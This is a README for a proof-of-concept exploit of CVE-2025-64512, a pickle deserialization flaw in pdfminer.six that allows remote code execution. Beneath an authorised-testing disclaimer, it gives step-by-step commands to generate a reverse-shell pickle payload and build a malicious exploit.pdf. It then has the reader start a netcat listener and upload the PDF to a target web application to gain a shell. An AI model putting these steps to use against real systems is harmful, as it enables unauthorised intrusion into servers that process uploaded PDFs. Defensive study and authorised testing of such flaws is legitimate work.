
Эксплойт PoC для CVE-2025-64512, нацеленный на небезопасную десериализацию в pdfminer.six. Генерирует вредоносную pickle-нагрузку и создаёт PDF-файлы эксплойта для RCE через загрузку файлов на веб-сервер.
Данный proof-of-concept предназначен только для авторизованного тестирования безопасности и образовательных целей.
Используйте только на системах, которыми вы владеете или для тестирования которых у вас есть явное письменное разрешение. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим кодом.
CVE-2025-64512 — это критическая уязвимость в pdfminer.six, популярной Python-библиотеке для извлечения текста и метаданных из PDF-файлов. Уязвимость позволяет удалённо выполнять код (RCE) через небезопасную десериализацию pickle-данных при обработке вредоносного PDF.
Уязвимость обычно активируется через функциональность загрузки файлов в веб-приложениях, использующих pdfminer.six для разбора загружаемых PDF-документов (например, в системах управления документами, инструментах подготовки отчётов, при загрузке изображений профиля, принимающих PDF).
Запустите generate_pickle.py, чтобы создать malicious.pickle.gz, содержащий вашу reverse shell-нагрузку.
python3 generate_pickle.py
Step 2 – Generate the exploit PDF
Choose one of the two available methods:
# Method 1: /Encoding path traversal (less reliable)
python3 method1_encoding_poc.py
# Method 2: /CMap deserialization (official CVE method – RECOMMENDED)
python3 method2_cmap_poc.py
Both scripts produce exploit.pdf, which references the malicious pickle file and triggers the deserialization flaw when processed.
Step 3 – Start your listener
nc -lvnp 4444
Step 4 – Upload and execute
Navigate to the target web application's file upload feature.
Upload exploit.pdf via the web interface.
The application processes the PDF using a vulnerable version of pdfminer.six.
The pickle payload deserialises and executes, granting you a reverse shell.